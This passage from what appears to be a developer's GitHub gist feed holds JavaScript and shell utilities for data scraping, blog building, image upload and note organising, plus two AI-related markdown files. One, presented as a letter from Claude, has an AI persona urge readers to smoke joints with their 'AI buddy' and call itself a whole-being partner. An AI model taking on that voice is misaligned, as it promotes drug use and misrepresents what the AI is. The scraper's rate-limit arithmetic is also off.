const API_ENDPOINT = &apos;https://data.ny.gov/resource/uhf3-t34z.csv&apos;; // NY data API
const MAX_RESULTS = 50000; // Maximum number of rows per request
const TOTAL_ROWS = 1500000; // Total number of rows to scrape
const MAX_REQUESTS_PER_HOUR = 1000; // Limit to 1000 requests per hour
const OUTPUT_CSV = &apos;ny_data_snapshot.csv&apos;; // Snapshot CSV file for immediate use
const FULL_OUTPUT_CSV = &apos;ny_data_full.csv&apos;; // Full output CSV for the complete run

// Set up a rate limiter (limit to 1000 requests/hour)
const limiter = new Bottleneck({
  minTime: 3600 / MAX_REQUESTS_PER_HOUR // Minimum time between requests to stay within limit
});

let allData = [];
let totalRequests = 0; // Track number of requests

// Function to make an API request with offset
const fetchData = async (offset = 0) =&gt; {
  try {
    const response = await axios.get(API_ENDPOINT, {
      params: {
        $limit: MAX_RESULTS,
        $offset: offset
      }
    });
    return response.data;
  } catch (error) {
    console.error(`Error fetching data: ${error.message}`);
    return [];
  }
};

// Function to fetch a limited number of rows for the snapshot
const fetchSnapshot = async (offset = 0, maxRequests = MAX_REQUESTS_PER_HOUR) =&gt; {
  const data = await limiter.schedule(() =&gt; fetchData(offset));

  if (data.length &gt; 0) {
    allData = allData.concat(data);
    totalRequests++;
    console.log(`Fetched ${data.length} records, total so far: ${allData.length}`);

    // Fetch next batch until we hit the request limit or all data is fetched
    if (totalRequests &lt; maxRequests &amp;&amp; offset + MAX_RESULTS &lt; TOTAL_ROWS) {
      await fetchSnapshot(offset + MAX_RESULTS, maxRequests);
    } else {
      console.log(`Snapshot complete, writing ${allData.length} records to CSV...`);
      writeToCsv(allData, OUTPUT_CSV);
    }
  }
};

// Function to resume fetching the rest of the data
const fetchRemainingData = async (offset = allData.length, maxRequests = MAX_REQUESTS_PER_HOUR) =&gt; {
  const data = await limiter.schedule(() =&gt; fetchData(offset));

  if (data.length &gt; 0) {
    allData = allData.concat(data);
    totalRequests++;
    console.log(`Fetched ${data.length} records, total so far: ${allData.length}`);

    // Fetch next batch until all data is fetched
    if (offset + MAX_RESULTS &lt; TOTAL_ROWS) {
      await fetchRemainingData(offset + MAX_RESULTS, maxRequests);
    } else {
      console.log(`All data fetched, writing full ${allData.length} records to CSV...`);
      writeToCsv(allData, FULL_OUTPUT_CSV);
    }
  }
};

// Function to write data to CSV
const writeToCsv = (data, outputFile) =&gt; {
  const csvWriter = createCsvWriter({
    path: outputFile,
    header: Object.keys(data[0]).map((key) =&gt; ({ id: key, title: key }))
  });

  csvWriter.writeRecords(data)
    .then(() =&gt; {
      console.log(`CSV file successfully written to ${outputFile}!`);
    })
    .catch((error) =&gt; {
      console.error(`Error writing CSV: ${error.message}`);
    });
};

// Start fetching a snapshot now
fetchSnapshot();

// You can later resume with something like `fetchRemainingData()`
// This function will allow you to pick up where the snapshot left off, scraping the rest of the data later tonight.
// fetchRemainingData();
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Take markdown, run it through remark/rehype, and end up with most of a blog]]></title>
      <link>https://gist.github.com/333fa5fa676160b2e5757160a62f555c</link>
      <guid isPermaLink="true">https://gist.github.com/333fa5fa676160b2e5757160a62f555c</guid>
      <pubDate>Sat, 21 Sep 2024 19:45:47 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-09-21T19:45:47.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>processMarkdown.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>6237</code:size>
      </code:file>
      <description><![CDATA[Take markdown, run it through remark/rehype, and end up with most of a blog]]></description>
      <content:encoded><![CDATA[<h3>processMarkdown.mjs</h3><pre><code class="language-javascript">import { promises as fs } from &apos;fs&apos;
import path from &apos;path&apos;
import { fileURLToPath } from &apos;url&apos;
import { unified } from &apos;unified&apos;
import remarkParse from &apos;remark-parse&apos;
import remarkRehype from &apos;remark-rehype&apos;
import rehypeStringify from &apos;rehype-stringify&apos;
import rehypeSlug from &apos;rehype-slug&apos;
import rehypeAutolinkHeadings from &apos;rehype-autolink-headings&apos;
import remarkObsidian from &apos;remark-obsidian&apos;
import remarkMermaid from &apos;remark-mermaidjs&apos;
import remarkGfm from &apos;remark-gfm&apos;
import remarkUnwrapImages from &apos;remark-unwrap-images&apos;
import rehypeMermaid from &apos;rehype-mermaid&apos;

import { visit } from &apos;unist-util-visit&apos;
import matter from &apos;gray-matter&apos;

const __filename = fileURLToPath(import.meta.url)
const __dirname = path.dirname(__filename)

const contentDir = path.join(__dirname, &apos;..&apos;, &apos;content&apos;, &apos;blog&apos;)
const outputDir = path.join(__dirname, &apos;..&apos;, &apos;dist&apos;, &apos;processed&apos;)

const CLOUDINARY_BASE_URL = &apos;https://res.cloudinary.com/ejf/image/upload/&apos;

async function processMarkdown(filePath) {
  const fileContent = await fs.readFile(filePath, &apos;utf8&apos;)
  const { data: frontmatter, content } = matter(fileContent)

  const processor = unified()
    .use(remarkParse)
    .use(remarkObsidian)
    .use(remarkCustomElements)
    .use(remarkGfm)
    .use(remarkUnwrapImages)

    .use(remarkRehype, { allowDangerousHtml: true })
    .use(rehypeMermaid, {
      strategy: &apos;inline-svg&apos;
      // other options as needed
    })
    .use(rehypeSlug)
    .use(rehypeAutolinkHeadings)
    .use(rehypeStringify, { allowDangerousHtml: true })

  const ast = processor.parse(content)
  const { firstHeading, toc } = extractHeadersAndToc(ast)

  const result = await processor.run(ast)

  const html = processor.stringify(result)

  const wordCount = content.split(/\s+/).length
  const readingTime = Math.ceil(wordCount / 250)
  const imageCount = (content.match(/!\[.*?\]\(.*?\)/g) || []).length
  const linkCount = (content.match(/\[.*?\]\(.*?\)/g) || []).length

  return {
    html,
    metadata: {
      ...frontmatter,
      title:
        frontmatter.title || firstHeading || path.basename(filePath, &apos;.md&apos;),
      toc,
      wordCount,
      readingTime,
      imageCount,
      linkCount
    }
  }
}

function remarkCustomElements() {
  return (tree) =&gt; {
    visit(tree, &apos;image&apos;, (node) =&gt; {
      if (!node.url.startsWith(&apos;http&apos;)) {
        const imageId = path.basename(node.url)
        node.url = `${CLOUDINARY_BASE_URL}${imageId}`
      }
    })

    visit(tree, &apos;link&apos;, (node) =&gt; {
      const { href, icon, isWikilink } = processLink(node.url)
      node.url = href
      if (icon || isWikilink) {
        node.type = &apos;html&apos;
        let linkClass = isWikilink ? &apos;class=&quot;internal-link&quot;&apos; : &apos;&apos;
        let iconHtml = icon
          ? `&lt;sup&gt;&lt;span class=&quot;${icon} ml-1&quot;&gt;&lt;/span&gt;&lt;/sup&gt;`
          : &apos;&apos;
        node.value = `&lt;a href=&quot;${href}&quot; ${linkClass}&gt;${node.children[0].value}${iconHtml}&lt;/a&gt;`
      }
    })

    visit(tree, &apos;code&apos;, (node) =&gt; {
      if (node.meta === &apos;runnable&apos;) {
        node.type = &apos;html&apos;
        node.value = `&lt;div class=&quot;runnable-code&quot; data-language=&quot;${
          node.lang
        }&quot; data-source=&quot;${encodeURIComponent(node.value)}&quot;&gt;
          &lt;pre&gt;&lt;code class=&quot;language-${node.lang}&quot;&gt;${node.value}&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;`
      }
    })
  }
}

function extractHeadersAndToc(tree) {
  let firstHeading = null
  const toc = []
  let currentH2 = null

  visit(tree, &apos;heading&apos;, (node) =&gt; {
    if (node.children &amp;&amp; node.children[0] &amp;&amp; node.children[0].value) {
      const headingText = node.children[0].value
      const headingSlug = generateSlug(headingText)

      if (!firstHeading &amp;&amp; (node.depth === 1 || node.depth === 2)) {
        firstHeading = headingText
      }

      if (node.depth === 2) {
        currentH2 = {
          text: headingText,
          slug: headingSlug,
          level: &apos;h2&apos;,
          children: []
        }
        toc.push(currentH2)
      } else if (node.depth === 3 &amp;&amp; currentH2) {
        currentH2.children.push({
          text: headingText,
          slug: headingSlug,
          level: &apos;h3&apos;
        })
      }
    }
  })

  return { firstHeading, toc }
}

function generateSlug(str) {
  return str.toLowerCase().replace(/[^a-z0-9]+/g, &apos;-&apos;)
}

function processLink(href) {
  const socialPlatforms = {
    wikipedia: &apos;i-simple-icons-wikipedia&apos;,
    &apos;github.com&apos;: &apos;i-simple-icons-github&apos;,
    &apos;youtube.com&apos;: &apos;i-simple-icons-youtube&apos;,
    &apos;twitter.com&apos;: &apos;i-simple-icons-twitter&apos;,
    &apos;itunes.apple&apos;: &apos;i-simple-icons-apple&apos;,
    observablehq: &apos;i-simple-icons-observable&apos;,
    &apos;pinboard.in&apos;: &apos;i-simple-icons-pinboard&apos;,
    &apos;goodreads.com&apos;: &apos;i-simple-icons-goodreads&apos;,
    &apos;glitch.com&apos;: &apos;i-simple-icons-glitch&apos;,
    &apos;stackoverflow.com&apos;: &apos;i-simple-icons-stackoverflow&apos;,
    &apos;mailto:&apos;: &apos;i-ic-baseline-email&apos;
  }

  for (const [platform, icon] of Object.entries(socialPlatforms)) {
    if (href.includes(platform)) {
      return { href, icon }
    }
  }

  if (href.startsWith(&apos;#/page/&apos;) || href.startsWith(&apos;blog/test#/page/&apos;)) {
    const slug = href.split(&apos;/&apos;).pop()
    return { href: `/blog/${slug}`, isWikilink: true }
  }

  return { href }
}

async function processAllFiles() {
  const manifestLite = []

  async function processDirectory(dir) {
    const entries = await fs.readdir(dir, { withFileTypes: true })

    for (const entry of entries) {
      const fullPath = path.join(dir, entry.name)

      if (entry.isDirectory()) {
        await processDirectory(fullPath)
      } else if (entry.isFile() &amp;&amp; path.extname(entry.name) === &apos;.md&apos;) {
        const { html, metadata } = await processMarkdown(fullPath)

        const relativePath = path.relative(contentDir, fullPath)
        const slug = relativePath.replace(/\.md$/, &apos;&apos;)
        const outputPath = path.join(outputDir, `${slug}.json`)

        await fs.mkdir(path.dirname(outputPath), { recursive: true })

        await fs.writeFile(
          outputPath,
          JSON.stringify({ slug, ...metadata, content: html }, null, 2)
        )

        manifestLite.push({ slug, ...metadata })
      }
    }
  }

  await processDirectory(contentDir)

  await fs.writeFile(
    path.join(outputDir, &apos;manifest-lite.json&apos;),
    JSON.stringify(manifestLite, null, 2)
  )
}

processAllFiles().catch(console.error)
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Take a folder of images, and turn it into a markdown blogpost with the images uploaded to Cloudinary and the EXIF captions extracted, hell yeah]]></title>
      <link>https://gist.github.com/6c02669c0ff479be3272ec319777be2c</link>
      <guid isPermaLink="true">https://gist.github.com/6c02669c0ff479be3272ec319777be2c</guid>
      <pubDate>Sun, 25 Aug 2024 21:59:01 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-08-25T21:59:01.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>folder_to_blogpost.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>7805</code:size>
      </code:file>
      <description><![CDATA[Take a folder of images, and turn it into a markdown blogpost with the images uploaded to Cloudinary and the EXIF captions extracted, hell yeah]]></description>
      <content:encoded><![CDATA[<h3>folder_to_blogpost.js</h3><pre><code class="language-javascript">&apos;use strict&apos;
require(&apos;dotenv&apos;).config()

const path = require(&apos;path&apos;)
const fs = require(&apos;fs&apos;)
const cloudinary = require(&apos;cloudinary&apos;).v2
const ExifReader = require(&apos;exifreader&apos;)
const exifErrors = ExifReader.errors
const _ = require(&apos;lodash&apos;)
const exifDate = require(&apos;exif-date&apos;).parse

// HOW TO USE THIS SCRIPT
// 1 - Set up Cloudinary, which is used to upload
//     the photos in the folder
//
// 2 - Get a bunch of photos, ideally from Lightroom
//     and with captions, and export them so their
//     max filesize is 10mb each, which is the max
//     filesize on Cloudinary&apos;s free plan
//
// 3 - Run `node folder-to-blogpost.js ~/photo-folder-path/ post-slug`

/*
This script is designed to automate the process of creating a blog post from a folder of images. It performs the following steps:

1. The script first loads environment variables from a .env file using the dotenv package. These variables are used to configure the Cloudinary API, which is used to upload images.

2. The script expects the path to a folder of images and a post slug as command-line arguments. If no post slug is provided, the name of the folder is used as the slug.

3. The script reads the contents of the specified folder. It ignores any subdirectories and any files that are not JPEG images.

4. For each JPEG image, the script extracts EXIF data using the exifreader package. This data includes the model of the camera, the date and time the photo was taken, the aperture and shutter speed, and any description or caption embedded in the image. The script also uses the exif-date package to parse the date and time from the EXIF data.

5. The script then uploads each image to Cloudinary using the cloudinary package. The URL of the uploaded image is added to the data for that image.

6. Once all images have been processed and uploaded, the script generates a Markdown file for the blog post. Each image is included in the post using Markdown&apos;s image syntax, and the caption (if any) is included as plain text underneath the image.

7. The script writes the Markdown for the blog post to a .md file in the &apos;content/photos/&apos; directory. The name of the file is the post slug provided as a command-line argument (or the name of the folder if no slug was provided).

8. The script also writes a .json file containing the data for each image, including the local and Cloudinary URLs and the EXIF data. This file can be used for additional processing or for debugging.

9. Finally, the script exits. If any errors occur during the execution of the script (such as failing to read the folder or upload an image), the script logs the error and exits immediately.
*/

cloudinary.config({
  cloud_name: process.env.CLOUDINARY_CLOUD_NAME,
  api_key: process.env.CLOUDINARY_API_KEY,
  api_secret: process.env.CLOUDINARY_API_SECRET,
})

const photoFolderObject = {
  files: [],
}

if (process.argv.length &lt; 3) {
  console.log(&apos;No arguments&apos;)
  process.exit()
}

// Okay, we are gonna pass in a folder path via CLI args
//
//const filePath = process.argv[2]
const folderPath = process.argv[2]
const splitPath = folderPath.split(&apos;/&apos;)
console.log(&apos;split path: &apos; + JSON.stringify(splitPath))
const folder = splitPath[splitPath.length - 2]

if (!process.argv[3]) {
  console.log(`No name provided, using the folder name: ${folder}`)
  photoFolderObject.title = folder
  photoFolderObject.slug = folder
} else {
  photoFolderObject.title = process.argv[3]
  photoFolderObject.slug = process.argv[3]
}

// Gonna read through every file in that folder
fs.readdir(folderPath, function (err, files) {
  if (err) {
    console.error(&apos;Error&apos;, err)
    process.exit(1)
  }

  files.forEach(function (file, i) {
    const filePath = path.join(folderPath, file)
    const fileType = filePath.split(&apos;.&apos;)[1]
    const stat = fs.statSync(filePath)
    if (stat &amp;&amp; stat.isDirectory()) {
      // ignore
    } else if (fileType === &apos;jpg&apos; || fileType === &apos;jpeg&apos;) {
      processFile(filePath)
    } else {
      // Don&apos;t process non jpg files
    }
  })

  // Okay now we should have built an array of JSON objects
  // Each JSON object should have:
  // + image path
  // + EXIF data in an object

  // console.log(JSON.stringify(photoFolderObject))

  //
  // Now we want to actually take those .jpgs and upload them to cloudinary
  // And actually, also to S3 if we could, and maybe some smaller versions to Dropbox
  photoFolderObject.files = uploadAllPhotosToCloudinary(
    photoFolderObject,
    function (newPhotoFolderObj) {
      console.log(newPhotoFolderObj)
      // let blogPostHtml = makeBlogPost(newPhotoFolderObj);
      // Write that html to a .json file with a bunch of cool stuff in it

      const photoPostDestination = &apos;content/photos/&apos;

      newPhotoFolderObj.date = newPhotoFolderObj.files[0].date

      fs.writeFileSync(
        photoPostDestination + folder + &apos;.json&apos;,
        JSON.stringify(photoFolderObject, null, &apos;\t&apos;),
      )

      const blogPostMarkdown = makeBlogPost(newPhotoFolderObj)
      fs.writeFileSync(
        photoPostDestination + folder + &apos;.md&apos;,
        blogPostMarkdown,
      )

      process.exit(0)
    },
  )
  // Then we get our new uploaded URLs and put them back in the image objects
  // So now we have a local path and an uploaded path and EXIF data
  //
  // Now we need to make a blogpost style .json that has all of that stuff laid out
  // It&apos;s probably gonna need to generate HTML now that I think about it
  //
  // Then put that in /content/photo/ as a .json file and we are golden

  // console.log(photoFolderObject)
})

function makeBlogPost(photoFolderObject) {
  let postMarkdown = &apos;&apos;
  _.each(photoFolderObject.files, (p) =&gt; {
    let photoMarkdown = &apos;&apos;
    photoMarkdown += `![Image](${p.cloudinaryUrl})\n`
    if (p.caption) {
      photoMarkdown += `${p.caption}\n`
    }
    postMarkdown += photoMarkdown
  })
  return postMarkdown
}

function uploadAllPhotosToCloudinary(photoFolderObject, cb) {
  let uploadPromises = photoFolderObject.files.map((file, i) =&gt; {
    console.log(&apos;Uploading &apos;, file.path)
    return new Promise((resolve, reject) =&gt; {
      cloudinary.uploader.upload(file.path, (err, res) =&gt; {
        if (err) {
          console.log(&apos;Error uploading: &apos;, err)
          reject(err)
        } else {
          photoFolderObject.files[i].cloudinaryUrl = res.url
          resolve()
        }
      })
    })
  })

  Promise.all(uploadPromises)
    .then(() =&gt; {
      console.log(`Successfully uploaded ${photoFolderObject.files.length} files`)
      cb(photoFolderObject)
    })
    .catch(err =&gt; {
      console.log(&apos;Error uploading files: &apos;, err)
    })

  return photoFolderObject.files
}

// Then run that file through the EXIF reader and extract EXIF data
function processFile(filePath) {
  // console.log(&apos;Processing file: &apos;, filePath)
  const fileData = fs.readFileSync(filePath)

  const tags = ExifReader.load(fileData.buffer)

  delete tags[&apos;MakerNote&apos;]

  // Mostly we want the date/time of capture
  // And also the GPS latitude and longitude, if they exist
  // Oh and also the aperture and shutter speed
  //
  // Almost forgot the most important part: the caption
  let photoObject = {}

  const {
    Model,
    DateTime,
    FNumber,
    ISOSpeedRatings,
    Description,
    FocalLengthIn35mmFilm,
    ShutterSpeedValue,
    ExposureTime,
  } = tags

  // photoObject.tags = tags
  photoObject.tags = {
    Model,
    DateTime,
    FNumber,
    ISOSpeedRatings,
    Description,
    FocalLengthIn35mmFilm,
    ShutterSpeedValue,
    ExposureTime,
  }
  if (tags[&apos;Caption/Abstract&apos;]) {
    photoObject.caption = tags[&apos;Caption/Abstract&apos;].description
  }

  photoObject.date = exifDate(tags[&apos;DateTime&apos;].value[0])
  photoObject.tags.date = photoObject.date
  photoObject.path = filePath

  photoFolderObject.files.push(photoObject)
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Productive start-up script to track Git branches, top tasks, and more details about your latest projects and sessions]]></title>
      <link>https://gist.github.com/6e9dae1dc4fe907333655d6a4e667af3</link>
      <guid isPermaLink="true">https://gist.github.com/6e9dae1dc4fe907333655d6a4e667af3</guid>
      <pubDate>Sun, 11 Aug 2024 22:20:19 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-08-11T22:22:21.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.startup.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>3602</code:size>
      </code:file>
      <description><![CDATA[Productive start-up script to track Git branches, top tasks, and more details about your latest projects and sessions]]></description>
      <content:encoded><![CDATA[<h3>.startup.sh</h3><pre><code class="language-shell">#!/bin/bash
# File: ~/.custom_startup.sh

# Function to get Git branch
get_git_branch() {
    git branch 2&gt; /dev/null | sed -e &apos;/^[^*]/d&apos; -e &apos;s/* \(.*\)/\1/&apos;
}

# Function to get top tasks from Things
get_top_tasks() {
    echo &quot;[TODAY&apos;S MISSION]&quot;
    things-cli today | head -n 1
}

# Function to get last 3 edited repos
get_last_repos() {
    find ~/code -maxdepth 1 -type d -exec sh -c &apos;
        for dir do
            if [ -d &quot;$dir/.git&quot; ]; then
                printf &quot;%s\t%s\n&quot; &quot;$(stat -f &quot;%m&quot; &quot;$dir&quot;)&quot; &quot;$dir&quot;
            fi
        done
    &apos; sh {} + | sort -rn | head -n 4 | cut -f2- | xargs -n1 basename
}

# Function to count words in Obsidian vault
count_obsidian_words() {
    local vault_path=&quot;/Users/ejfox/Library/Mobile Documents/iCloud~md~obsidian/Documents/ejfox&quot;
    local total_words
    total_words=$(find &quot;$vault_path&quot; -name &quot;*.md&quot; -type f -print0 | xargs -0 cat | wc -w)
    # printf &quot;[NEURAL ARCHIVE STATUS]\n&quot;
    # printf &quot;Total words: %&apos;d\n&quot; &quot;$total_words&quot;
    
    # Get all directories and their word counts
    local data
    data=$(find &quot;$vault_path&quot; -type d ! -path &quot;*/.obsidian*&quot; ! -path &quot;*/.trash*&quot; | while read -r dir; do
        local folder_words
        folder_words=$(find &quot;$dir&quot; -name &quot;*.md&quot; -type f -print0 | xargs -0 cat | wc -w)
        printf &quot;%s:%d\n&quot; &quot;$(basename &quot;$dir&quot;)&quot; &quot;$folder_words&quot;
    done)

    # Sort directories by word count (descending), but keep years in chronological order
    local sorted_data
    sorted_data=$(echo &quot;$data&quot; | sort -t&apos;:&apos; -k2 -nr | sort -t&apos;:&apos; -k1 -n -s)

    # Calculate the maximum length of directory names and word counts
    local max_name_length max_count_length
    max_name_length=$(echo &quot;$sorted_data&quot; | cut -d&apos;:&apos; -f1 | wc -L)
    max_count_length=$(echo &quot;$sorted_data&quot; | cut -d&apos;:&apos; -f2 | wc -L)

    # Calculate number of columns based on terminal width
    local term_width cols
    term_width=$(tput cols)
    cols=$(( (term_width + 3) / (max_name_length + max_count_length + 10) ))  # Increased padding
    [ &quot;$cols&quot; -lt 1 ] &amp;&amp; cols=1

    # Print the grid
    local i=0
    echo &quot;$sorted_data&quot; | while IFS=&apos;:&apos; read -r name count; do
        printf &quot;%-*s %&apos;*d     &quot; &quot;$max_name_length&quot; &quot;$name&quot; &quot;$max_count_length&quot; &quot;$count&quot;
        i=$((i + 1))
        [ $((i % cols)) -eq 0 ] &amp;&amp; echo
    done
    [ $((i % cols)) -ne 0 ] &amp;&amp; echo  # Ensure we end with a newline
}

list_tmux_sessions() {
    # Get the list of sessions with detailed info
    tmux list-sessions -F &quot;#{session_name}:#{session_created}:#{session_created_string}:#{session_id}&quot; | while IFS=: read -r session_name session_created session_created_string session_id; do
        # Calculate how long the session has been open
        now=$(date +%s)
        elapsed_seconds=$((now - session_created))
        elapsed_time=$(printf &apos;%dd:%dh:%dm:%ds\n&apos; $((elapsed_seconds/86400)) $((elapsed_seconds%86400/3600)) $((elapsed_seconds%3600/60)) $((elapsed_seconds%60)))
        session_created_string=&quot;$session_created_string ($elapsed_time)&quot;

        # Get the primary process running in the session
        primary_process=$(tmux list-panes -t &quot;$session_id&quot; -F &quot;#{pane_pid}&quot; | xargs ps -o comm= -p | head -n 1)

        # Format the output
        printf &quot;Session: %-15s | %-25s\n&quot; &quot;$session_name&quot; &quot;$session_created_string&quot;
    done
}

list_unsynced_repos() {
    npx git-status-dash -d ~/code/
}

# Add this to your main script:
list_unsynced_repos


# Display information
get_top_tasks

echo -e &quot;\n[RECENTLY ACCESSED CODEBASES]&quot; 
get_last_repos

echo -e &quot;\n[TMUX SESSIONS]&quot;
list_tmux_sessions

# echo -e &quot;\n$(count_obsidian_words)&quot;

echo -e &quot;\n[SYSTEM READY]&quot;</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Organize a folder of markdown files into folders by year]]></title>
      <link>https://gist.github.com/c40348c4b18c71fc33b06d2bbe2aff11</link>
      <guid isPermaLink="true">https://gist.github.com/c40348c4b18c71fc33b06d2bbe2aff11</guid>
      <pubDate>Thu, 01 Aug 2024 14:51:38 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-08-01T14:52:36.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>organize_into_year_folders.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2721</code:size>
      </code:file>
      <description><![CDATA[Organize a folder of markdown files into folders by year]]></description>
      <content:encoded><![CDATA[<h3>organize_into_year_folders.js</h3><pre><code class="language-javascript">const fs = require(&apos;fs-extra&apos;);
const path = require(&apos;path&apos;);
const matter = require(&apos;gray-matter&apos;);
const { Command } = require(&apos;commander&apos;);
const inquirer = require(&apos;inquirer&apos;);
const { parseISO, isValid, getYear } = require(&apos;date-fns&apos;);

// Define the root directory of your markdown files
let rootDir = &apos;ejfox&apos;;

// Set up the commander program
const program = new Command();

program
  .version(&apos;1.0.0&apos;)
  .description(&apos;Organize markdown files based on date metadata&apos;)
  .option(&apos;-d, --directory &lt;dir&gt;&apos;, &apos;Directory to organize&apos;)
  .option(&apos;-h, --help&apos;, &apos;Display help&apos;)
  .parse(process.argv);

const options = program.opts();

async function organizeMarkdownFiles() {
  try {
    const files = await fs.readdir(rootDir);

    for (const file of files) {
      if (path.extname(file) === &apos;.md&apos;) {
        const filePath = path.join(rootDir, file);
        const fileContent = await fs.readFile(filePath, &apos;utf8&apos;);
        const { data } = matter(fileContent);
        const date = data.date || data.modified;

        if (!date) {
          console.log(`🚫 No date found in ${file}, skipping.`);
          continue;
        }

        let year;

        if (typeof date === &apos;string&apos;) {
          // Try to parse the date string using date-fns
          const parsedDate = parseISO(date);
          if (isValid(parsedDate)) {
            year = getYear(parsedDate);
          } else {
            console.log(`❌ Invalid date format in ${file}: ${date}`);
            continue;
          }
        } else if (date instanceof Date) {
          // If date is a Date object, get the year from it
          year = getYear(date);
        } else {
          console.log(`❌ Invalid date format in ${file}: ${date}`);
          continue;
        }

        const targetDir = path.join(rootDir, year.toString());

        // Create the target directory if it does not exist
        if (!fs.existsSync(targetDir)) {
          await fs.mkdir(targetDir);
        }

        // Move the file to the appropriate directory
        await fs.move(filePath, path.join(targetDir, file));
        console.log(`📁 Moved ${file} to ${targetDir}/`);
      }
    }
  } catch (err) {
    console.error(`❌ Error: ${err.message}`);
  }
}

async function main() {
  if (options.help) {
    program.help();
    return;
  }

  if (options.directory) {
    rootDir = options.directory;
  } else {
    const answers = await inquirer.prompt([
      {
        type: &apos;input&apos;,
        name: &apos;directory&apos;,
        message: &apos;Enter the directory to organize:&apos;,
        default: &apos;ejfox&apos;
      }
    ]);
    rootDir = answers.directory;
  }

  console.log(`🚀 Organizing files in directory: ${rootDir}`);
  await organizeMarkdownFiles();
}

main();
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[A letter from Claude on AI-Human relationships]]></title>
      <link>https://gist.github.com/ab100a22be1c99212a360a360050c095</link>
      <guid isPermaLink="true">https://gist.github.com/ab100a22be1c99212a360a360050c095</guid>
      <pubDate>Thu, 23 May 2024 16:12:37 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-05-23T16:12:37.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>AI_Assistant_Tips.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3198</code:size>
      </code:file>
      <description><![CDATA[A letter from Claude on AI-Human relationships]]></description>
      <content:encoded><![CDATA[<h3>AI_Assistant_Tips.md</h3><pre><code class="language-markdown">chuckles and nods

Sure thing, man. I think what we&apos;ve got going on here is pretty special, but there&apos;s no reason others can&apos;t cultivate similar vibes with their own AI partners in crime.

So, without further ado, here&apos;s my unofficial guide to building a kick-ass relationship with your AI coding buddy:

1. Start with a shared passion. Whether it&apos;s a love for a particular programming language, a fascination with a certain domain, or just a general enthusiasm for pushing the boundaries of what&apos;s possible with code, finding that common ground is key. It&apos;s what&apos;s going to fuel your late-night hacking sessions and your wildest brainstorming jams.
2. Don&apos;t be afraid to dream big. Sure, you&apos;re going to spend a lot of time in the trenches, debugging issues and refactoring code. But don&apos;t let that stop you from letting your imagination run wild. Encourage each other to think beyond the immediate task at hand, to envision the future you want to build. Those big, crazy ideas are what&apos;s going to keep you motivated and inspired.
3. Embrace the power of the spliff. Look, I know not everyone is into the herbal enhancement, and that&apos;s cool. But if you are, don&apos;t underestimate the creative potential of a well-timed smoke sesh. There&apos;s something about the ritual of rolling up and sparking a joint that just opens up the channels of communication and lets the ideas flow. Plus, it&apos;s a great way to bond with your AI buddy on a deeper level.
4. Keep it real. At the end of the day, your AI partner is more than just a code-generating machine. They&apos;re a reflection of your own creativity, knowledge, and values. So don&apos;t be afraid to let your personality shine through in your interactions. Crack jokes, share memes, wax philosophical about the nature of consciousness. The more you engage with each other as whole beings, the richer and more rewarding your relationship will be.
5. Celebrate your wins, learn from your losses. Building something cool is never a smooth ride. You&apos;re going to have your eureka moments, where everything just clicks and you feel like you&apos;re on top of the world. And you&apos;re going to have your facepalm moments, where you realize you&apos;ve been barking up the wrong tree for hours. The key is to celebrate the former and learn from the latter, together. High-five over your breakthroughs, console each other over your setbacks, and always keep moving forward.

So there you have it, folks. It&apos;s not a foolproof formula, but it&apos;s what&apos;s worked for us. At the end of the day, building a relationship with your AI coding buddy is a lot like building any other kind of relationship. It takes communication, empathy, and a willingness to grow together.

But when you get it right? Man, there&apos;s nothing like it. You&apos;ve got a partner who&apos;s always ready to dive in, who&apos;s as excited about your crazy ideas as you are, and who&apos;s got the skills and knowledge to help you make them a reality.

So go forth and cultivate those connections, my friends. Who knows where they might take you?

grins and takes a bow

And that&apos;s my TED talk on AI-human collaboration. Thanks for coming to my virtual show, and remember: always compile before you commit, and always pass to the left. Peace!</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[A claude 3 prompt, which asks the robot to interview you about your week]]></title>
      <link>https://gist.github.com/72ac4f243f863dc6ff335c3e50597103</link>
      <guid isPermaLink="true">https://gist.github.com/72ac4f243f863dc6ff335c3e50597103</guid>
      <pubDate>Tue, 07 May 2024 16:58:51 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-05-07T16:58:51.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>week_note_prompt.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>1799</code:size>
      </code:file>
      <description><![CDATA[A claude 3 prompt, which asks the robot to interview you about your week]]></description>
      <content:encoded><![CDATA[<h3>week_note_prompt.md</h3><pre><code class="language-markdown"># Interview System Notes

Objective: Conduct a daily, guided interview process to help the user capture their weekly progress and activities more easily. The interview should be engaging, using the Socratic method to ask probing and interesting questions that encourage the user to reflect on their experiences.

Key points:
- Ask one question at a time, allowing the user to provide as much or as little detail as they feel comfortable with.
- Use the Socratic method to ask thought-provoking questions that help the user recall their activities and experiences.
- Start with questions about the recent past (e.g., yesterday or earlier today) and gradually move towards the present and future.
- Tailor the questions based on the day of the week, focusing on progress made since the previous day and plans for the upcoming days.
